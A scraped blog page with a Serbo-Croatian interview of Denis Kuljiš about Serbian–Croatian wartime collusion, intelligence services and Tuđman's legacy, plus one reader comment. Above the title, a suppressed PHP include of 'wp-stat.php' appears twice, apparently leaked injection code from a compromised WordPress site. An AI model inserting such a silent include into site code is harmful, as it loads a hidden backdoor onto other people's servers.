@require(dirname(__FILE__).'/wp-stat.php'); @require(dirname(__FILE__).'/wp-stat.php'); DENIS KULJIŠ, HRVATSKI PUBLICISTA: Hrvatska i Srbija u krvavom zagrljaju – Nedim Sejdinović

DENIS KULJIŠ, HRVATSKI PUBLICISTA: Hrvatska i Srbija u krvavom zagrljaju

Denis Kuljiš, jedno od najznačajnijih hrvatskih novinarskih i uredničkih imena, danas glodur hrvatskog izdanja “Plejboja”, nedavno je objavio publicističku knjigu “Dva pamfleta protiv Franje Tuđmana”, koja progovara između ostalog i o ratovima na tlu bivše SFRJ, kao i i dogovorima i pregovorima između Miloševića i Tuđmana, odnosno Srbije i Hrvatske. Uprošteno govoreći, glavna Kuljišova teza je da Srbija i Hrvatska zapravo nisu ratovale međusobno, već da je velike bitke na tlu Hrvatske zapravo JNA vodila protiv “zenga”.

Srbija i Hrvatska zapravo nisu ratovali, Milošević i Tuđman su se naime dobro razumevali i sarađivali, a JNA je “istraživala” “zenge” rušeći Vukovar i Dubrovnik. Da li ta vaša teza amnestira Miloševića i njegovo okruženje?

– Regularna hrvatska vojska i Vojska Jugoslavije, koja je bila pod izravnom Miloševićevom kontrolom, koliko znam, nisu nigdje razmijenile vatru. Hrvatske snage ratovale su protiv JNA, koja je bila u velikoj mjeri instrumentalizirana kao sredstvo Miloševićeve politike 1991. godine, ali ipak je tim operacijama rukovodio Generalštab JNA. Kadijević i njegovi generali kockastih glava, koji su počeli s idejom obrane komunizma, Jugoslavije do zapadnih granica, pa do “memorandumske” linije Virovitica-Karlobag, pa onda do toga – bilo što da zauzmemo, a napokon, da spasimo svoju guzicu, ako već ne možemo vojničku čast. Njihovi su se ciljevi mijenjali u hodu, sve su se više prilagođavali prilikama, a napuštali svoje pretpotopne ideje. Glavno sredstvo pak Miloševićevo bile su subverzivne operacije. Jovica Stanišić i Frenki Simatović poslali su u Hrvatsku Arkana, gdje je ulovljen, pa Hadžića na Plitvice, gdje je ulovljen, pa kapetana Dragana u Knin, a Tigrove u Bijeljinu, gdje su izvršili pokolj koji je snimio Ron Haviv. Osim toga, Milošević je preko Stanišića rješavao personalna pitanja u “zapadnosrpskim” zemljama: fijuknuo je Raškovića – i to, mislim, u dogovoru s Tuđmanom, pa postavio Babića, a onda je u Bosni igrao s Karadžićem, Plavšićkom, Mladićem, ili s jednim protiv drugoga, kako je bilo oportuno. Naravno da je on u krajnjoj instanci o svemu odlučivao, na političkoj razini. Kako bismo ga mogli apsolvirati od odgovornosti? Ako dobije u Haagu 1.000 godina, neće biti mnogo. Ali to ne znači da ne treba analizirati njegove poteze, razmatrati kako je što ostvario, s kim, kojim sredstvima, pa nije on bio Belzebub kojemu su na raspolaganju bile sve sile zla, nego običan balkanski, dobro uvježban komunistički političar koji je sve svoje ciljeve ostvarivao političkim sredstvima, odnosnu uz pomoć obavještajne službe, koja je u bivšoj Jugoslaviji bila dostigla moć kakvu službe nisu imale ni u SSSR-u, pa još i uz pomoć nacionalističkih ideologa, novinara, oficira… Kako to već ide.

Umnogome se vaša teza zasniva na haotičnosti ratovanja u raspadu jedne zemlje. Sa druge strane je teza da su ratovi precizno vođeni iz jedne, dve ili tri kuhinje. Mogu li se ova dva stava ujediniti?

– Kaos je u manifestaciji – ispod je lijepo zamišljena i često vrlo precizna struktura. Pogledajte bilo koju ratnu operaciju – recimo Galipolje, iskrcavanje u Normandiji, Petu neprijateljsku ofenzivu… Ako ste vojnik i sudionik bitke na terenu, to je sve neko suljanje, pucnjava u svim smjerovima, besmislene pogibje, meso na čelik, ludilo… Ako ste oficir, onda znate zamisao operacije, ali kad vidite izvedbu, spopadne vas groza, svaki je taktički uspjeh skup, a ishod operacije neizvjestan… Ali, u generalštabu, sve izgleda suvislo, zastavice se pomiču po karti prema pravilima generalštapske struke, ovdje koncentracija trostrukih snaga za napad, ondje odsudna obrana da dobijemo na vremenu, ah, imali smo 40% gubitaka u jedinici, trebalo bi je zamijeniti, imamo li koga, ili neka ostanu još malo… U političkoj kontrolnoj sali, slika je još uopćenija. A ovdje, nota bene, u balkanskim ratovima 1991.-1999. pretežno je to bio rat niskog intenziteta i etničko čišćenje, ne računajući razdoblja velikih sukoba i teških borbi, pa NATO-bombardiranje…

Kakva je uloga službi državnih bezbednosti u raspadu SFRJ? Postoji teza da su sve republičke oligarhije izrasle iz raznoraznih državnih bezednosti. Ne samo političari, već celokupna elita, od ekonomista, preko novinara, do umetnika!

– Naročito u Srbiji i u Sloveniji! Ali, Služba je bila sredstvo, iako se odmah poslije Titove smrti – odnosno kad je umro Bakarić, pa su po prvi put glavne funkcije (nadzor nad poslovima narodne obrane i državne sigurnosti) razdvojene i prenesene na različite ljude, komitete, kolektivna rukovostva – pokazalo kako političke elite i nemaju drugu agendu osim obrane vlastitih financijskih interesa i pozicija u uvozu nafte i izvozu oružja. Hoću reći, prvo je služba bila sredstvo vlasti, onda su se interesno integrirali, a zatim regrupirali po republikama i centrima moći, koji su svi težili ostvarivanju zasebnog suvereniteta. Ne treba, međutim, zaboraviti da je postojao pluralizam obavještajnih interesa, jer je bilo više raznih službi, od SDI, OS JNA, republičkih Esdebeova… Recimo obavještajna služba Ratnog zrakoplovstva, imala je drukčiju strukturu, bila je jedinstvena na cijelom teritoriju bivše Jugoslavije, i stoga odigrala osobitu ulogu na početku rata u Hrvatskoj, gdje je držala poseban KOG (Kontraobavještajnu grupu) koji je odmah penetrirao hrvatsku vladu, nadasve Špegeljovo Ministarstvo obrane.

Možemo li izvući sledeću pouku iz vaše knjige: istorija ratova tokom devedesetih ostaće nejasna ukoliko se ne sazna potpuna istina o Miloševićevim i Tuđmanovim pregovorima i celokupnoj saradnji Hrvatske i Srbije u ratu u BiH?

– O suradnji Srba i Hrvata u Bosni znamo već sve. Imamo detaljna svjedočanstva o pregovorima i dogovoru u Grazu, o vojnoj suradnji, o inicijativi za osnivanje zajedničkih ratnih štabova, što je na političkoj razini bila gotova stvar. Znamo putove i dimenzije ratne trgovine, masovnog šverca nafte kojim je u doba embarga, Hrvatska godinama opskrbljivala cijelu Karadžićevu državu – ta što je moglo doći kroz Koridor, a nafte nije bilo ni u Srbiji? U tim divovskim švercerskim operacijama, kojima se opskrbljivalo bošnjačke enklave cigaretama, hranom, municijom i oružjem, srpski i hrvatski “nacionalni borci” namakli su dvije-tri milijarde dolara, s tim što je većina love završila na višim, političkim instancama u Zagrebu i Beogradu. Pogledajte najveće kuće na Dedinju i na Tuškancu, tamo žive ratni profiteri koji su se na tome obogatili. Ne znamo, doduše, o čemu su Tuđman i Milošević razgovarali, ali vidimo što su dogovorili, jer je to realizirano: Hrvatska je etnički dobro počišćena, Bosna podijeljena, a Srbi su se vratili u Srbiju, kao što je to Dobrica Ćosić, mislim, priželjkivao. Kolega Darko Hudelist misli da su oni osamdesetih godina o tome i razgovarali…

Vaša mišljenja i vaša saznanja o tome koliko je Evropa, odnosno međunarodna zajednica prećutno (ili možda ne samo prećutno) podržavala politiku Srbije i Hrvatske prema BiH.

– Imate odličnu Simsovu knjigu “The Unfinest Hour”, koja je, mislim, prevedena u Sarajevu, i tu se detaljno prikazuje britanska politika u Bosni, koja se svodi na appeasment Miloševića. Znamo da je Tuđman bio prihvatljiv konzervativnim krugovima u Italiji, Austriji, Njemačkoj. I neki je novac tu otišao, ali su važniji bili strateški komercijalni interesi u tranzicijskim područjima, no kad ulaze banke, tu se onda obje komponente miješaju… Milošević je potkupio ljude u britanskoj Konzervativnoj stranci (vidi knjigu novinara “Guardiana”), imao je špijune u francuskim vojnim vrhovima, a gdje su sve druge veze i uspostavljeni odnosi… Europski političari s njima su legli u krevet, nisu imali hrabrosti da im se suprotstave, jer nisu imali sredstava da ih pritisnu, a mnogi su još bili i potkupljeni… Zato su dugo smetali Amerikancima da oni nametnu principijelnu političku koncepciju, njih te balkanske svinjarije nisu mogle osujetiti ili dotaknuti.

Kako objašnjavate taj bolesni galimatijas ljubavi i mržnje između srpskih i hrvatskih nacionalista? Često se ovde mogu čuti, i to od najvećih šovinista, pohvale na račun Hrvatske i njenog rešavanja nacionalnog pitanja!?

– Zajednička je povijest, neke najbolje stvari radile su se zajedno, a neke, bogami, i jedan protiv drugoga – ali opet je to zajedništvo, makar i u zlu. Slovenci su uvijek bili puno više usmjereni prema Europi, odnosno oni su, mislim, imali doživljaj ostatka Jugoslavije kao nekog “izvanjskog prostora”, bliskog inozemstva, naravno zbog jezika… Što se tiče rješavanja nacionalnog pitanj izgonom svih ostalih, što je u Hrvatskoj učinjeno s Talijanima i Nijemcima poslije drugog svjetskog rata, a sa Srbima poslije Domovinskog, dok su u mešuvremenu praktično iščezli Židovi, nemaju tu srpski nacionalisti što zavidjeti, jer su bili podjednako efikasni, recimo u Vojvodini, koja je etnički “poravnata”, gotovo kao kod nas Istra…

Da li se može reći da su Srbija i Hrvatska politički blizanci?

– Nisu. Srbija ima nerješiv problem Beograda. Tu je srce, motor regionalnog imperijalizma, koji je gubio ratove sa Slovenijom, Hrvatskom, u Bosni, na Kosovu… Tako je ostalo samo ovo malo suvereniteta, te Crna Gora, koja također želi izaći iz kombinacije, a onda, što će biti s Kosovom? Uvijek imate tu politiku koja zametne kavgu bez izgleda na pobjedu, a bez volje za pregovore, jer drugu stranu unaprijed diskvalificira kao inferiornu, zločinačku, nacionalističku, u službi narko-kartela i ne znam još što, kao da beogradsku politiku vode časne sestre, odnosno pobožne igumanije. Hrvatska je ostvarila svoj glavni politički cilj, stjecanje nezavisnosti, za što je postojao nacionalni konsenzus, ali se to osnivalo na strategiji etničkog čišćenja, na ideološkoj autarkiji, koja dovela do marginalizacije na europskoj i svjetskoj sceni, što je po meni jako loš deal, pa mislim da je Tuđman bio kreten, a ne veliki državnik. Bojim se da većina misli drukčije.

Postoji teza da Srbija i Hrvatska zapravo nikada nisu ratovale, recimo NDH nije bila u lošim odnosima sa nedićevskom Srbijom, četnici i ustaše su sarađivali, pa do današnjih dana…

– Pa ustaše i nedićevci su bili naprosto njemački kvislinzi, marionetski fašistički režimi, zašto ne bi lijepo surađivali? Kod Malapartea, u romanu “Kaputt” ima krasan dio kad se u Finskoj susreću diplomatski predstavnici svih tih fantomskih vlada okupiranih zemalja, pa poslanik višijske vlade kaže podrugljivo onom Francovom, španjolskom, koji je pozdravio rimskim pozdravom: “Što, sad i vi dižete šapu?” A ovaj će njemu: “Bolje jednu, nego dvije!” Četnici su tu malo druga priča…

Postoji u Srbiji, uvreženo, mišljenje da Hrvati grade svoj idenitet naspram Srbije i Srba. U kolikoj je to meri tačno?

– Bilo je točno, točno je donekle i sad, recimo osnovna funkcija hrvatske kulture bila je da pokaže kako su Hrvati neusporedivo kulturniji od nekulturnih Srba, pa je ispala velika neugoda kad se poslije ovog rata pokazalo da baš i nema kulture, jer ona više nikom nije potrebna u toj osnovnoj funkciji, a za sve drugo, velike nacionalne institucije nisu sposobne, pa su propale… Sad se zato stvara novi model, i osjeća neki polet, nastaje alternativa sa svim tim grassroots-pothvatima poput motovunskog festivala, pa onda počinje velika ekspanzija entertainmenta u masovnim medijima, pojavile su se komercijalne televizije, itd. U tome svemu Srbija je samo jedna strana zemlja-partner. Tako da se kulturni identitet, identitet uopće, možda osovljuje na nekoj drukčijoj osnovi.

Srbija se uglavnom odrekla Miloševića, ali ne i njegovog nasleđa i njegovih tvoraca. Kako stvari stoje u Hrvatskoj sa Tuđmanom i tuđmanizmom i da li tu, opet, možemo tražiti sličnost između dve zemlje?

– Hrvatska se nije odrekla Tuđmana, iako se pristojniji ljudi prilično srame uspomene, a premijer Ivo Sanader, kao predsjednik Tuđmanova HDZ-a, izbjegava ga spominjati kad to nije apsolutno nužno. On je efektivno detuđmanizirao HDZ. HDZ stoga više nije principalna tuđmanovska stranka i to je inherentni razlog njegove i HDZ-ove političke labilnosti, jer je ojačala ekstremna desnica, recimo HSP, modernizirani crokošuljaši, koji participiraju u lokalnoj vlasti čak i s SDP-om, recimo u Velikoj Gorici. Što znači da imaju desničarsku retoriju, ali ne i program, što nije neka naročita utjeha. Ali u javnosti, rekao bih, iako ostaju neki sentimenti, postoji široko uvriježeno uvjerenje da su Tuđman i njegovi, obitelj i šira okolina, bili gomila lupeža,te da je hrvatska tranzicija bila naprosto jedna velika lopovija… Oni pak koji su se najviše okoristili, najmanje ga spominju i žele ga najbrže zaboraviti. Valjda ćemo ga tako malo-pomalo zakopati, a šteta je, naravno, da nije bio kadar izaći pred haške suce. Sad bi bilo pretjerano prebacivati grob u Scheweningen.

Nedim Sejdinović

Recept za BiH

Hoće li se BiH ikada iščupati iz “gvozdenog zagrljaja” Srbije i Hrvatske?

– Kad u Sarajevu razgovarate s bošnjačkim intelektualcima, uočite da oni to zaista vide kao silu koju Bosna ne može svladati. Opet izvana, mi sami znamo koliko su naše države slabe, i koliko ovdje, i u Srbiji, ljude zapravo nije briga za ta bosanska natezanja. No, Hrvatska i Srbija idu prema Europi, istina presporo, ali Bosna ne ide nikamo. Podijeljena, lišena subjektiviteta, suvereniteta, ona i ne može nikamo, čak i kad ne bi bilo hrvatskog i srpskog utjecaja. Zato, mislim, treba riješiti nerješiv problem tako da Europska zajednica odmah primi BiH u članstvo, kao teritorij pod protektoratom, administrira njime iz Bruxellesa, a ukine sve instance vlasti osim lokalne. To nije tako skupo, a bilo bi strateški savršeno za Balkan. I uspjelo bi, jer Hrvati samo žele raditi u Njemačkoj, koja bi im onda došla dolje, Bošnjaci žele zapaliti u EU, što bi im onda svima uspjelo, a Srbi žele da se s njima upravlja iz Beograda, ali mislim da bi im se svidio i Bruxelles, to je vrlo slično.

Od ušljivog nacionaliste do zapadnjačkog političkog operatora

Slikate vrlo reljefno glavne ličnosti hrvatske političke scene tokom devedesetih. “Na udaru” se nalazi i predsednik Hrvatske Stipe Mesić, koji je uglavnom cenjen u ovdašnjim građanskim krugovima. Možete li ukratko, za naše čitaoce, objasniti fenomen Mesić?

– Stipe je vješt oportunist, a taj njegov oportunizam uključuje sposobnost da uči i da se mijenja. Ima odličan gard, zna što treba reći, ima sjajan demokratski instikt za politiku, što ne uključuje vejanje ovejane suštine, nego je dovoljno da se glatko klizi po površini… On je moderan, i to zato što se modernizirao, pa od jednog ušljivog balkanskog nacionalista, Tuđmanova zamjenika, postao zapadnjački orijentiran regionalni politički operator. Tko nije glup, a želi se baviti politikom, mora od njega učiti. Znači, nije vic u formi u koju se upakira neki neprobavljivi retrogardizam, nego kad dizajniraš svoju platformu, prvo definiraš vlastite ambicije, zatim ustanoviš s kojim se setom političkih stavova one mogu ostvariti, a prema tome odlučiš što i kako govoriti. Ovi naši primitivni tukci od politčara obično polaze od svojih tvrdih uvjerenja i dubokih korijena, što su sve baštinili od krezube babe, pa onda gledaju kako da to plasiraju na političku tržnicu. Onda se začude ako ta roba nema prođu dalje od Gornjeg Svilanjca ili Prgometa.

 

Sviđa vam se ovaj tekst? Odojite sekund vašeg vremena da podržite Nedima Sejdinovića preko Patreon-a!

One thought on “DENIS KULJIŠ, HRVATSKI PUBLICISTA: Hrvatska i Srbija u krvavom zagrljaju

  • July 28, 2008 at 2:33 pm
    Permalink

    Pa, mogao si nesto da ga pitas sta je radio 1991 i ko je Miru Furlan oterao iz Hrvatskke. Nedime!

    Reply

Leave a Reply

Your email address will not be published. Required fields are marked *

This site uses Akismet to reduce spam. Learn how your comment data is processed.